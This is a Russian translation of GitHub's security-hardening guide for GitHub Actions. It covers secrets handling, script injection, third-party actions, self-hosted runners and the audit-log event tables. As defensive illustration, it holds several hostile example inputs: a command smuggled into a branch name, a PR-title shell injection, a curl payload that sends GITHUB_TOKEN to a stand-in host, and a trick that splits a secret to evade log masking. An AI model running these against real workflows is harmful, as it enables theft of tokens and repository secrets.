Skip to main content

Защита системы безопасности для GitHub Actions

In this article

Рекомендации по безопасности при использовании функций GitHub Actions.

Примечание. В GitHub Enterprise Server в настоящее время не поддерживаются средства выполнения тестов, размещенные в GitHub. Дополнительные сведения о планируемой поддержке в будущем см. в GitHub public roadmap.

Обзор

В этом руководстве объясняется, как настроить усиление безопасности для определенных функций GitHub Actions. Если понятия GitHub Actions вам незнакомы, см. статью Основные понятия для GitHub Actions.

Использование секретов

Конфиденциальные значения никогда не должны храниться в виде открытого текста в файлах рабочего процесса, а должны храниться как секреты. Секреты можно настроить на уровне организации, репозитория или окружения и позволить хранить конфиденциальную информацию в GitHub Enterprise Server.

Секреты используют запечатанные коробки Libsodium, поэтому они шифруются до достижения GitHub Enterprise Server. Это происходит, когда секрет отправляется с помощью пользовательского интерфейса или через REST API. Это шифрование на стороне клиента помогает минимизировать риски, связанные со случайным ведением журналов (например, журналы исключений и журналы запросов и т. д.) в инфраструктуре GitHub Enterprise Server. После отправки секрета GitHub Enterprise Server сможет потом расшифровать его, чтобы его можно было внедрить в среду выполнения workflow-процессов.

Для предотвращения случайного раскрытия данных GitHub Enterprise Server использует механизм, который пытается редактировать секреты, отображаемые в журналах выполнения. Это исправление ищет точные совпадения любых настроенных секретов, а также общее кодирование значений, такие как Base64. Но так как значение секрета можно преобразовать несколькими способами, такое исправление не гарантировано. Как результат, есть определенные упреждающие действия и рекомендации, которым вы должны следовать, чтобы обеспечить скрытие секретов и ограничить другие риски, связанные с секретами:

  • Никогда не используйте структурированные данные в качестве секрета
    • Структурированные данные могут привести к сбою скрытия секрета в журналах, так как скрытие в значительной степени зависит от поиска точного соответствия для конкретного значения секрета. Например, не используйте большой двоичный объект JSON, XML или YAML (или аналогичный указанным) для инкапсуляции секретного значения, так как это значительно снижает вероятность того, что секреты будут правильно скрыты. Вместо этого создайте отдельные секреты для каждого конфиденциального значения.
  • Зарегистрируйте все секреты, используемые в рабочих процессах
    • Если секрет используется для создания другого конфиденциального значения в рабочем процессе, созданное значение должно быть официально зарегистрировано как секрет, чтобы он отображался в журналах. Например, если вы используете закрытый ключ для создания подписанного JWT для доступа к веб-API, обязательно зарегистрируйте этот JWT как секрет, иначе он не будет скрыт, если он когда-либо попадет в выходные данные журнала.
    • Регистрация секретов также применяется к любому типу преобразования или кодирования. Если ваш секрет каким-либо образом преобразован (например, в кодировке Base64 или URL), обязательно зарегистрируйте новое значение в качестве секрета.
  • Выполняйте аудит обработки секретов
    • Выполните аудит использования секретов, чтобы убедиться, что они обрабатываются должным образом. Это можно сделать, просмотрев исходный код репозитория, выполняющего рабочий процесс, и проверив все действия, используемые в рабочем процессе. Например, убедитесь, что они не отправляются на непредусмотренные узлы или непосредственно не печатаются для вывода журнала.
    • Просмотрите журналы выполнения для вашего рабочего процесса после проверки допустимых/недопустимых входных данных и убедитесь, что секреты правильно скрыты или не отображаются. Не всегда очевидно, как вызываемая команда или средство будет отправлять ошибки в STDOUT и STDERR, а секреты в дальнейшем могут оказаться в журналах ошибок. Поэтому рекомендуется вручную просматривать журналы рабочего процесса после проверки допустимых и недопустимых входных данных.
  • Используйте учетные данные с минимальной областью действия
    • Убедитесь, что учетные данные, используемые в рабочих процессах, имеют наименьшие требуемые разрешения, и имейте ввиду, что любой пользователь с доступом на запись в ваш репозиторий имеет доступ на чтение ко всем секретам, настроенным в вашем репозитории.
    • Действия могут использовать GITHUB_TOKEN, обращаясь к нему из контекста github.token. Дополнительные сведения см. в разделе «Контексты». Поэтому необходимо убедиться, что для GITHUB_TOKEN предоставлены минимальные требуемые разрешения. В целях безопасности рекомендуется установить разрешение по умолчанию для GITHUB_TOKEN на чтение только содержимого репозитория. Затем при необходимости можно увеличить разрешения для отдельных заданий в файле рабочего процесса. Дополнительные сведения см. в статье "Проверка подлинности в рабочем процессе".
  • Выполняйте аудит и смену зарегистрированных секретов
    • Периодически проверяйте зарегистрированные секреты, чтобы убедиться, что они по-прежнему необходимы. Удалите те, которые больше не нужны.
    • Периодически меняйте секреты, чтобы сократить период времени, в течение которого действителен скомпрометированный секрет.
  • Рассмотрите возможность проверки доступа к секретам
    • Привлекайте необходимых рецензентов для защиты секретов среды. Задание рабочего процесса не может получить доступ к секретам окружения, пока рецензент не создаст утверждение. Дополнительные сведения о хранении секретов в окружениях или необходимости проверки окружений см. в статьях Зашифрованные секреты и Использование окружений для развертывания.

Предупреждение. Любой пользователь с доступом на запись к репозиторию имеет доступ на чтение ко всем секретам, настроенным в репозитории. Поэтому необходимо убедиться, что учетные данные, используемые в рабочих процессах, имеют наименьшие требуемые разрешения.

Использование CODEOWNERS для отслеживания изменений

Вы можете использовать функцию CODEOWNERS для управления внесением изменений в файлы рабочего процесса. Например, если все файлы вашего рабочего процесса хранятся в .github/workflows, можно добавить этот каталог в список владельцев кода, чтобы любые предлагаемые изменения в этих файлах сначала требовали утверждения назначенным рецензентом.

Дополнительные сведения см. в разделе Сведения о владельцах кода.

Осознание риска внедрения скриптов

При создании рабочих процессов, настраиваемых действий и составных действий всегда следует учитывать, не может ли код выполнять ненадежные входные данные от злоумышленников. Это может произойти, когда злоумышленник добавляет в контекст вредоносные команды и сценарии. При запуске рабочего процесса эти строки могут быть интерпретированы как код, который затем выполняется в средстве выполнения тестов.

Злоумышленники могут добавлять собственное вредоносное содержимое в githubконтекст, что следует рассматривать как потенциально ненадежные входные данные. Эти контексты обычно заканчиваются на body, default_branch, email, head_ref, label, message, name, page_name,ref и title. Например github.event.issue.title или github.event.pull_request.body.

Следует убедиться, что эти значения не передаются непосредственно в рабочие процессы, действия, вызовы API или куда-либо еще, где они могут быть интерпретированы как исполняемый код. Применяя ту же защитную позицию программирования, которую вы бы использовали для любого другого кода привилегированного приложения, вы можете помочь системе безопасности усилить использование GitHub Actions. Сведения о некоторых шагах, которые может предпринять злоумышленник, см. в статье Потенциальное влияние скомпрометированного средства выполнения тестов.

Кроме того, существуют и другие менее очевидные источники потенциально ненадежных входных данных, такие как имена ветвей и адреса электронной почты, которые могут быть весьма гибкими с точки зрения разрешенного содержания. Например, zzz";echo${IFS}"hello";# будет допустимым именем ветви и возможным вектором атаки на целевой репозиторий.

В следующих разделах показано, как снизить риск внедрения скриптов.

Пример атаки путем внедрения сценария

Атака путем внедрения сценария может произойти непосредственно во встроенном сценарии рабочего процесса. В следующем примере действие использует выражение для проверки достоверности заголовка запроса на вытягивание, но также добавляет риск внедрения сценария:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Этот пример уязвим для внедрения сценария, так как команда run выполняется во временном сценарии оболочки в средстве выполнения тестов. Перед запуском сценария оболочки выражения внутри ${{ }} оцениваются, а затем заменяются полученными значениями, что может сделать сценарий уязвимым для внедрения команд оболочки.

Чтобы внедрить команды в этот рабочий процесс, злоумышленник может создать запрос на вытягивание с заголовком a"; ls $GITHUB_WORKSPACE":

Пример внедрения скрипта в заголовке запроса на вытягивание

В этом примере символ " используется для прерывания инструкции title="${{ github.event.pull_request.title }}", позволяя выполнять команду ls в средстве выполнения. Вы увидите выходные данные команды ls в журнале:

Пример результата внедрения сценария

Рекомендации по устранению атак путем внедрения сценария

Существует ряд различных подходов, которые помогут снизить риск внедрения сценариев:

Использование действия вместо встроенного сценария (рекомендуется)

Рекомендуемым подходом является создание действия, которое обрабатывает значение контекста в качестве аргумента. Этот подход неуязвим для атаки путем внедрения, так как значение контекста не используется для создания сценария оболочки, а вместо этого передается действию в качестве аргумента:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Использование промежуточной переменной среды

Для встроенных сценариев предпочтительным подходом к обработке ненадежных входных данных является установка значения выражения в промежуточную переменную среды.

В следующем примере используется Bash для обработки значения github.event.pull_request.title в качестве переменной среды:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

В этом примере попытка внедрения сценария завершается неудачно:

Пример внедрения сценария с устранением рисков

При таком подходе значение выражения ${{ github.event.issue.title }} хранится в памяти, используется в качестве переменной и не взаимодействует с процессом создания сценария. Кроме того, рассмотрите возможность использования переменных оболочки в двойных кавычках, чтобы избежать разбиения слов, но это одна из многих общих рекомендаций по написанию сценариев оболочки, и она не относится только к GitHub Actions.

Ограничение разрешений для токенов

Чтобы снизить риск незащищенного токена, рассмотрите возможность ограничения назначенных разрешений. Дополнительные сведения см. в статье Изменение разрешений для GITHUB_TOKEN.

Использование OpenID Connect для доступа к облачным ресурсам

Если рабочим процессам GitHub Actions требуется доступ к ресурсам от поставщика облачных служб, поддерживающего OpenID Connect (OIDC), можно настроить рабочие процессы для проверки подлинности непосредственно в поставщике облачных служб. Это позволит прекратить хранение таких учетных данных в виде долгоживущих секретов и обеспечить другие преимущества безопасности. Дополнительную информацию см. в разделе Сведения об усилении защиты с помощью OpenID Connect.

Использование действий третьих лиц

Отдельные задания в рабочем процессе могут взаимодействовать c другими заданиями (и подвергать их риску). Например, задание, запрашивающее переменные среды, используемые более поздним заданием, записывающее файлы в общий каталог, который обрабатывает более позднее задание, или даже более непосредственно, взаимодействуя с сокетом Docker и проверяя другие запущенные контейнеры и выполняя в них команды.

Это означает, что компрометация одного действия в рабочем процессе может иметь очень большое значение, так как это скомпрометированное действие будет иметь доступ ко всем секретам, настроенным в вашем репозитории, и может использовать GITHUB_TOKEN для записи в репозиторий. Следовательно, существует значительный риск при поиске действий из сторонних репозиториев на GitHub. Сведения о некоторых шагах, которые может предпринять злоумышленник, см. в статье Потенциальное влияние скомпрометированного средства выполнения тестов.

Вы можете помочь снизить этот риск, выполнив следующие рекомендации:

  • Закрепление действий в SHA полной фиксации

    Закрепление действия в SHA полной фиксации сейчас является единственным способом использования действия в качестве неизменяемого выпуска. Закрепление в определенном SHA помогает снизить риск того, что злоумышленник добавит черный ход в репозиторий действия, так как ему потребуется создать коллизию SHA-1 для действительной полезной нагрузки объекта Git.

  • Аудит исходного кода действия

    Убедитесь, что действие обрабатывает содержимое репозитория и секреты должным образом. Например, убедитесь, что секреты не отправляются на непредусмотренные узлы или не регистрируются самопроизвольно.

  • Закрепляйте действия в теге только в случае доверия автору

    Хотя закрепление в фиксации SHA является наиболее безопасным вариантом, указание тега — это более удобный и широко используемый метод. Если вы хотите указать тег, убедитесь, что вы доверяете авторам действия. Индикатор событий "Проверенный автор" на GitHub Marketplace является полезным сигналом, так как он указывает, что действие было создано командой, удостоверение которой проверено с помощью GitHub. Обратите внимание, что в этом подходе есть риск, даже если вы доверяете автору, потому что тег может быть перемещен или удален, если злоумышленник получит доступ к репозиторию, в котором хранится действие.

Повторное использование сторонних рабочих процессов

Те же самые принципы, описанные выше для использования сторонних действий, также применимы к использованию сторонних рабочих процессов. Вы можете снизить риски, связанные с повторным использованием рабочих процессов, следуя тем же рекомендациям, которые описаны выше. Дополнительные сведения см. в статье Многократное использование рабочих процессов.

Разрешение рабочим процессам доступа к внутренним репозиториям репозиториям

Если сделать внутренний репозиторий доступным для рабочих процессов GitHub Actions в других репозиториях, внешние участники совместной работы в других репозиториях могут косвенно получить доступ к внутреннему , даже если у них нет прямого доступа к этим репозиториям. Внешние участники совместной работы могут просматривать журналы выполнения рабочих процессов, когда используются действия или рабочие процессы из внутреннего репозитория . Дополнительные сведения см. в разделе Общий доступ к действиям и рабочим процессам для вашего предприятия.

Чтобы разрешить средствам выполнения скачивать эти действия, GitHub передает в средство выполнения маркер установки с заданной областью. Этот маркер имеет доступ на чтение к репозиторию и автоматически истекает через час.

Запрет GitHub Actions на утверждение запросов на вытягивание

Вы можете разрешить или запретить рабочим процессам GitHub Actions утверждение запросов на вытягивание. Разрешение рабочим процессам или любой другой автоматизации утверждать запросы на вытягивание может представлять угрозу безопасности, если запрос на вытягивание объединен без должного контроля.

Дополнительные сведения о настройке этого параметра см. в статье Отключение или ограничение GitHub Actions для вашей организации.

Использование систем показателей OpenSSF для защиты рабочих процессов

Системы показателей — это автоматизированное средство безопасности, которое выявляет рискованные действия в цепочке поставок. Вы можете использовать действие системы показателей и стартовый рабочий процесс, чтобы следовать рекомендациям по обеспечению безопасности. После настройки действие системы показателей автоматически запускается при изменении репозитория и предупреждает разработчиков о рискованных методах цепочки поставок с помощью встроенного средства сканирования кода. Проект системы показателей выполняет ряд проверок, включая атаки путем внедрения сценария, разрешения токенов и закрепленные действия.

Потенциальное влияние скомпрометированного средства выполнения тестов

В этих разделах рассматриваются некоторые шаги, которые может предпринять злоумышленник, если он сможет запускать вредоносные команды в средстве выполнения тестов GitHub Actions.

Примечание. Средства выполнения тестов, размещенные в GitHub, не проверяют наличие вредоносного кода, загруженного пользователем во время его работы, например скомпрометированную стороннюю библиотеку.

Доступ к секретам

Рабочие процессы, активированные с помощью события pull_request, имеют разрешения только на чтение и не имеют доступа к секретам. Однако эти разрешения различаются для различных триггеров событий, таких как issue_comment, issues и push, когда злоумышленник может попытаться украсть секреты репозитория или использовать разрешение на запись задания GITHUB_TOKEN.

  • Если для секрета или маркера задана переменная среды, прямой доступ к нему можно получить через окружение с помощью printenv.

  • Если секрет используется непосредственно в выражении, созданный сценарий оболочки хранится на диске и является доступным.

  • Для пользовательского действия риск может варьироваться в зависимости от того, как программа использует секрет, полученный из аргумента:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

Хотя GitHub Actions удаляет из памяти секреты, на которые не ссылается рабочий процесс (или включенное действие), определенный злоумышленник может собрать GITHUB_TOKEN и любые секреты, на которые указывает ссылка.

Извлечение данных из средства выполнения тестов

Злоумышленник может получить все украденные секреты или другие данные от средства выполнения тестов. Чтобы предотвратить случайное раскрытие секрета, GitHub Actions автоматически скрывает секреты, напечатанные в журнале, но это не является реальной границей безопасности, так как секреты могут быть намеренно отправлены в журнал. Например, скрытые секреты можно перенести с помощью echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Кроме того, так как злоумышленник может выполнять произвольные команды, он может использовать HTTP-запросы для отправки секретов или других данных репозитория на внешний сервер.

Кража GITHUB_TOKEN задания

Злоумышленник может украсть GITHUB_TOKEN задания. Средство выполнения тестов GitHub Actions автоматически получает созданный GITHUB_TOKEN с разрешениями, которые ограничены только репозиторием, содержащим рабочий процесс, и срок действия маркера истекает после завершения задания. После истечения срока действия токен больше ничем не поможет злоумышленнику. Чтобы обойти это ограничение, злоумышленники могут автоматизировать атаку и выполнить ее в доли секунды путем вызова управляемого злоумышленником сервера с токеном, например: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Изменение содержимого репозитория

Сервер злоумышленника может использовать API GitHub Enterprise Server для изменения содержимого репозитория, включая выпуски, если назначенные разрешения GITHUB_TOKEN не ограничены.

Рассмотрение возможности доступа между репозиториями

GitHub Actions намеренно ограничивается до одного репозитория за один раз. GITHUB_TOKEN предоставляет тот же уровень доступа, что и у пользователя с доступом на запись, так как любой пользователь с доступом на запись может получить доступ к этому токену, создав или изменив файл рабочего процесса, повышая разрешения GITHUB_TOKEN, если есть необходимость. У пользователей есть определенные разрешения для каждого репозитория, поэтому разрешение GITHUB_TOKEN для одного репозитория предоставлять доступ к другому повлияет на модель разрешений GitHub, если она не реализована тщательно. Аналогичным образом следует соблюдать осторожность при добавлении токенов проверки подлинности GitHub в рабочий процесс, так как это также может повлиять на модель разрешений GitHub путем случайного предоставления широкого доступа к участникам совместной работы.

У нас есть план по стратегии развития GitHub для поддержки потока, который обеспечивает доступ между репозиториями в GitHub Enterprise Server, но это еще не поддерживаемая функция. На данный момент единственным способом выполнения привилегированного взаимодействия между репозиториями является размещение токена проверки подлинности GitHub или ключа SSH в качестве секрета в рабочем процессе. Так как многие типы токенов проверки подлинности не обеспечивают детальный доступ к определенным ресурсам, существует значительный риск при использовании неправильного типа токена, потому что он может предоставить гораздо более широкий доступ, чем предполагалось.

В этом списке описаны рекомендуемые подходы по доступу к данным репозитория в рамках рабочего процесса в порядке убывания предпочтения:

  1. Токен GITHUB_TOKEN
    • Этот токен намеренно привязан к одному репозиторию, вызвавшему рабочий процесс, и может иметь тот же уровень доступа, что и пользователь доступа на запись в репозитории. Токен создается перед началом каждого задания и истекает по его завершении. Дополнительные сведения см. в разделе Проверка подлинности с помощью GITHUB_TOKEN.
    • GITHUB_TOKEN следует использовать всякий раз, когда это возможно.
  2. Ключи развертывания репозитория
    • Ключи развертывания — это один из немногих типов учетных данных, которые предоставляют доступ на чтение или запись к одному репозиторию и могут использоваться для взаимодействия с другим репозиторием в рамках рабочего процесса. Дополнительные сведения см. в разделе Управление ключами развертывания.
    • Обращаем ваше внимание на то, что ключи развертывания могут клонировать и отправлять их в репозиторий с помощью Git и не могут использоваться для взаимодействия с REST API или API GraphQL, поэтому они могут не соответствовать вашим требованиям.
  3. Токены GitHub App
    • GitHub Apps можно установить в выбранных репозиториях и они имеют детальные разрешения на ресурсы в них. Вы можете создать GitHub App в своей организации, установить их в репозиториях, к которым вам нужен доступ в рамках рабочего процесса, и выполнить проверку подлинности в качестве установки в рабочем процессе для доступа к этим репозиториям.
  4. personal access tokens
    • Никогда не используйте personal access token. Эти токены предоставляют доступ ко всем репозиториям внутри организаций, к которым у вас есть доступ, а также ко всем личным репозиториям в вашем личном кабинете. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс.
    • Если вы используете personal access token, никогда не следует использовать personal access token из собственной учетной записи. Если позже вы покинете организацию, рабочие процессы, использующие этот маркер, немедленно прервутся, и отладка этой проблемы может оказаться сложной задачей. Вместо этого следует использовать personal access tokens для новой учетной записи, которая принадлежит вашей организации и которой предоставляется доступ только к определенным репозиториям, необходимым для рабочего процесса. Обратите внимание, что этот подход не является масштабируемым и его следует избегать в пользу альтернативных вариантов, таких как развертывание ключей.
  5. Ключи SSH в личной учетной записи
    • Для рабочих процессов никогда не следует использовать ключи SSH в личной учетной записи. Как и personal access tokens, они предоставляют разрешения на чтение и запись всем вашим личным репозиториям, а также всем репозиториям, к которым у вас есть доступ через членство в организации. Это косвенно предоставляет широкий доступ всем пользователям с доступом на запись в репозитории, в котором находится рабочий процесс. Если вы собираетесь использовать ключ SSH, потому что вам нужно только выполнять клонирование или отправку репозитория и не нужно взаимодействовать с общедоступными API, вместо этого вам следует использовать отдельные ключи развертывания.

Усиление защиты для средств выполнения тестов локального размещения

Локально размещенные средства выполнения тестов для GitHub Enterprise Server не имеют гарантий на выполнение во временных чистых виртуальных машинах и могут быть постоянно скомпрометированы ненадежным кодом в рабочем процессе.

Будьте осторожны при использовании средств выполнения тестов локального размещения в частных или внутренних репозиториях, так как любой пользователь, кто может разветвить репозиторий и открыть запрос на вытягивание (как правило, те, у кого есть доступ к репозиторию для чтения) может скомпрометировать окружение средства выполнения тестов локального размещения, в том числе получить доступ к секретам и GITHUB_TOKEN, который, в зависимости от его параметров, может предоставить доступ на запись в репозиторий. Хотя рабочие процессы могут контролировать доступ к секретам окружения с помощью окружений и обязательных проверок, эти рабочие процессы не запускаются в изолированном окружении и по-прежнему подвержены тем же рискам при запуске в средстве выполнения тестов локального размещения.

Когда средство выполнения тестов локального размещения определено на уровне организации или предприятия, GitHub Enterprise Server может планировать рабочие процессы из нескольких репозиториев в одном и том же средстве выполнения тестов. Следовательно, нарушение безопасности этих окружений может привести к серьезным последствиям. Чтобы уменьшить масштабы компрометации, вы можете установить границы, упорядочив средства выполнения тестов локального размещения в отдельные группы. Вы можете ограничить доступ к рабочим процессам, организациям и репозиториям для групп средств выполнения тестов. Дополнительные сведения см. в разделе Управление доступом к средствам выполнения тестов локального размещения с помощью групп.

Следует также рассмотреть окружение компьютеров средств выполнения тестов локального размещения:

  • Какие конфиденциальные сведения находятся в компьютере, настроенном в качестве средства выполнения тестов локального размещения? Например, закрытые ключи SSH, маркеры доступа API и другое.
  • Имеет ли компьютер сетевой доступ к конфиденциальным службам? Например, к службам метаданных Azure или AWS. Объем конфиденциальной информации в этом окружении должен быть сведен к минимуму, и вы всегда должны помнить, что любой пользователь, способный вызывать рабочие процессы, имеет доступ к этому окружению.

Некоторые клиенты могут попытаться частично снизить эти риски, внедрив системы, которые автоматически уничтожают средство выполнения тестов локального размещения после каждого выполнения задания. Однако этот подход может быть не таким эффективным, как предполагалось, так как нет никакого способа гарантировать, что средство выполнения тестов локального размещения выполняет только одно задание. Некоторые задания будут использовать секреты в качестве аргументов командной строки, которые могут быть видны другому заданию, выполняющемся в том же средстве выполнения тестов, например ps x -w. Это может привести к утечкам секретов.

Планирование стратегии управления для средств выполнения тестов локального размещения

Средство выполнения тестов локального размещения можно добавить на различные уровни в иерархии GitHub: уровень предприятия, организации или репозитория. Это размещение определяет, кто сможет управлять средством выполнения тестов:

Централизованное управление:

  • Если вы планируете, чтобы централизованная команда владела средствами выполнения тестов локального размещения, рекомендуется добавить свои средства выполнения тестов на самом высоком уровне взаимной организации или предприятия. Это предоставляет вашей команде единое расположение для просмотра ваших средств выполнения тестов и управления ими.
  • Если в вашем распоряжении только одна организация, то добавление средств выполнения тестов на уровне организации — это фактически тот же подход, но при добавлении другой организации в будущем могут возникнуть трудности.

Децентрализованное управление:

  • Если каждая команда будет управлять своими собственными средствами выполнения тестов локального размещения, то рекомендуется добавить средства выполнения тестов на самом высоком уровне владения команды. Например, если у каждой команды есть собственная организация, то будет проще, если средства выполнения тестов будут добавлены и на уровне организации.
  • Вы также можете добавить средства выполнения тестов на уровне репозитория, но это добавит накладные расходы на управление, а также увеличит количество необходимых вам средств выполнения тестов, так как вы не можете делиться средствами выполнения тестов между репозиториями.

Проверка подлинности в поставщике облачных служб

Если вы используете GitHub Actions для развертывания в поставщике облачных служб или планируете использовать хранилище HashiCorp для управления секретами, рекомендуется использовать OpenID Connect для создания маркеров доступа с ограниченной областью действия для выполнения рабочего процесса. Дополнительные сведения см. в статье Сведения об усилении защиты с помощью OpenID Connect.

Аудит событий GitHub Actions

Вы можете использовать журнал аудита для мониторинга административных задач в организации. В журнале аудита записывается тип действия, время его выполнения и личная учетная запись, в которой оно было выполнено.

Например, можно использовать журнал аудита для отслеживания события org.update_actions_secret, которое отслеживает изменения секретов организации: Записи журнала аудита

В следующих таблицах описаны события GitHub Actions, которые можно найти в журнале аудита. Дополнительные сведения об использовании журнала аудита см. в статье Просмотр журнала аудита для вашей организации и Просмотр журналов аудита для вашего предприятия.

События для изменений конфигурации

ДействиеОписание
repo.actions_enabledАктивируется при включении GitHub Actions для репозитория. Можно просмотреть с помощью пользовательского интерфейса. Это событие не отображается при доступе к журналу аудита с помощью REST API. Дополнительные сведения см. в разделе Использование REST API.
repo.update_actions_access_settingsАктивируется при изменении параметра для управления использованием вашего репозитория рабочими процессами GitHub Actions в других репозиториях.

События для управления секретами

ДействиеОписание
org.create_actions_secretАктивируется при создании секрета GitHub Actions для организации. Дополнительные сведения см. в статье Создание зашифрованных секретов для организации.
org.remove_actions_secretАктивируется при удалении секрета GitHub Actions.
org.update_actions_secretАктивируется при обновлении секрета GitHub Actions.
repo.create_actions_secret Активируется при создании секрета GitHub Actions для репозитория. Дополнительные сведения см. в статье Создание зашифрованных секретов для репозитория.
repo.remove_actions_secretАктивируется при удалении секрета GitHub Actions.
repo.update_actions_secretАктивируется при обновлении секрета GitHub Actions.

События для средств выполнения тестов локального размещения

ДействиеОписание
enterprise.register_self_hosted_runnerАктивируется при регистрации нового локального средства выполнения тестов. Дополнительные сведения см. в статье Добавление средства выполнения тестов локального размещения в организацию.
enterprise.remove_self_hosted_runnerАктивируется при удалении средства выполнения тестов локального размещения.
enterprise.runner_group_runners_updatedАктивируется при обновлении списка участников группы средства выполнения. Дополнительные сведения см. в разделе Настройка средств выполнения тестов локального размещения в группе для организации.
enterprise.self_hosted_runner_onlineАктивируется при запуске приложения средства выполнения. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
enterprise.self_hosted_runner_offlineАктивируется при остановке приложения средства выполнения тестов. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
enterprise.self_hosted_runner_updatedАктивируется при обновлении приложения средства выполнения тестов. Можно просмотреть с помощью REST API и пользовательского интерфейса. Это событие не включается при экспорте журнала аудита в виде данных JSON или CSV-файла. Дополнительные сведения см. в статье О средствах выполнения тестов локального размещения и Просмотр журнала аудита для вашей организации.
org.register_self_hosted_runnerАктивируется при регистрации нового локального средства выполнения тестов. Дополнительные сведения см. в разделе Добавление средства выполнения тестов локального размещения в организацию.
org.remove_self_hosted_runnerАктивируется при удалении средства выполнения тестов локального размещения. Дополнительные сведения см. в статье Удаление средства выполнения тестов из организации.
org.runner_group_runners_updatedАктивируется при обновлении списка участников группы средства выполнения тестов. Дополнительные сведения см. в разделе Настройка локальных средств выполнения в группе для организации.
org.runner_group_updatedАктивируется при изменении конфигурации группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Изменение политики доступа для группы средства выполнения тестов локального размещения.
org.self_hosted_runner_onlineАктивируется при запуске приложения средства выполнения. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
org.self_hosted_runner_offlineАктивируется при остановке приложения средства выполнения тестов. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
org.self_hosted_runner_updatedАктивируется при обновлении приложения средства выполнения тестов. Можно просматривать с помощью REST API и пользовательского интерфейса; не отображается в экспорте JSON/CSV. Дополнительные сведения см. в статье "Сведения о локально размещенных средствах выполнения."
repo.register_self_hosted_runnerАктивируется при регистрации нового локального средства выполнения тестов. Дополнительные сведения см. в разделе Добавление средства выполнения тестов локального размещения в репозиторий.
repo.remove_self_hosted_runnerАктивируется при удалении средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Удаление средства выполнения тестов из репозитория.
repo.self_hosted_runner_onlineАктивируется при запуске приложения средства выполнения. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
repo.self_hosted_runner_offlineАктивируется при остановке приложения средства выполнения тестов. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе Проверка статуса средства выполнения тестов локального размещения.
repo.self_hosted_runner_updatedАктивируется при обновлении приложения средства выполнения тестов. Можно просматривать с помощью REST API и пользовательского интерфейса; не отображается в экспорте JSON/CSV. Дополнительные сведения см. в статье "Сведения о локально размещенных средствах выполнения."

События для средств выполнения тестов локального размещения

ДействиеОписание
enterprise.runner_group_createdАктивируется при создании группы средства выполнения тестов локального размещения. Дополнительные сведения см. в статье Создание группы средств выполнения тестов локального размещения для организации.
enterprise.runner_group_removedАктивируется при удалении группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Удаление средства выполнения тестов локального размещения в группу.
enterprise.runner_group_runner_removedАктивируется при использовании REST API для удаления средства выполнения тестов локального размещения из группы.
enterprise.runner_group_runners_addedАктивируется при добавлении средства выполнения тестов локального размещения в группу. Дополнительные сведения см. в разделе Перемещение локального средства выполнения в группу.
enterprise.runner_group_updatedАктивируется при изменении конфигурации группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Изменение политики доступа для группы средства выполнения тестов локального размещения.
org.runner_group_createdАктивируется при создании группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Создание группы средств выполнения тестов локального размещения для организации.
org.runner_group_removedАктивируется при удалении группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Удаление средства выполнения тестов локального размещения в группу.
org.runner_group_updatedАктивируется при изменении конфигурации группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе Изменение политики доступа для группы средства выполнения тестов локального размещения.
org.runner_group_runners_addedАктивируется при добавлении средства выполнения тестов локального размещения в группу. Дополнительные сведения см. в разделе Перемещение локального средства выполнения в группу.
org.runner_group_runner_removedАктивируется при использовании REST API для удаления средства выполнения тестов локального размещения из группы. Дополнительные сведения см. в разделе Удаление группы средств выполнения тестов локального размещения для организации.

События для действий рабочего процесса

ДействиеОписание
cancel_workflow_runАктивируется при отмене запуска рабочего процесса. Дополнительные сведения см. в статье Отмена рабочего процесса.
completed_workflow_runАктивируется при изменении состояния рабочего процесса на completed. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье "Просмотр журнала выполнения рабочего процесса".
created_workflow_runАктивируется при создании запуска рабочего процесса. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье Создание примера рабочего процесса.
delete_workflow_runАктивируется при удалении запуска рабочего процесса. Дополнительные сведения см. в статье Удаление рабочего процесса.
disable_workflowАктивируется при отключении рабочего процесса.
enable_workflowАктивируется при включении рабочего процесса после его отключения disable_workflow.
rerun_workflow_runАктивируется при повторном запуске рабочего процесса. Дополнительные сведения см. в статье Перезапуск рабочего процесса.
prepared_workflow_jobАктивируется при запуске задания рабочего процесса. Содержит список секретов, предоставленных заданию. Отображается только при использовании REST API. Она не отображается в веб-интерфейсе GitHub или не включена в экспорт JSON/CSV. Дополнительные сведения см. в разделе События, активирующие рабочие процессы.
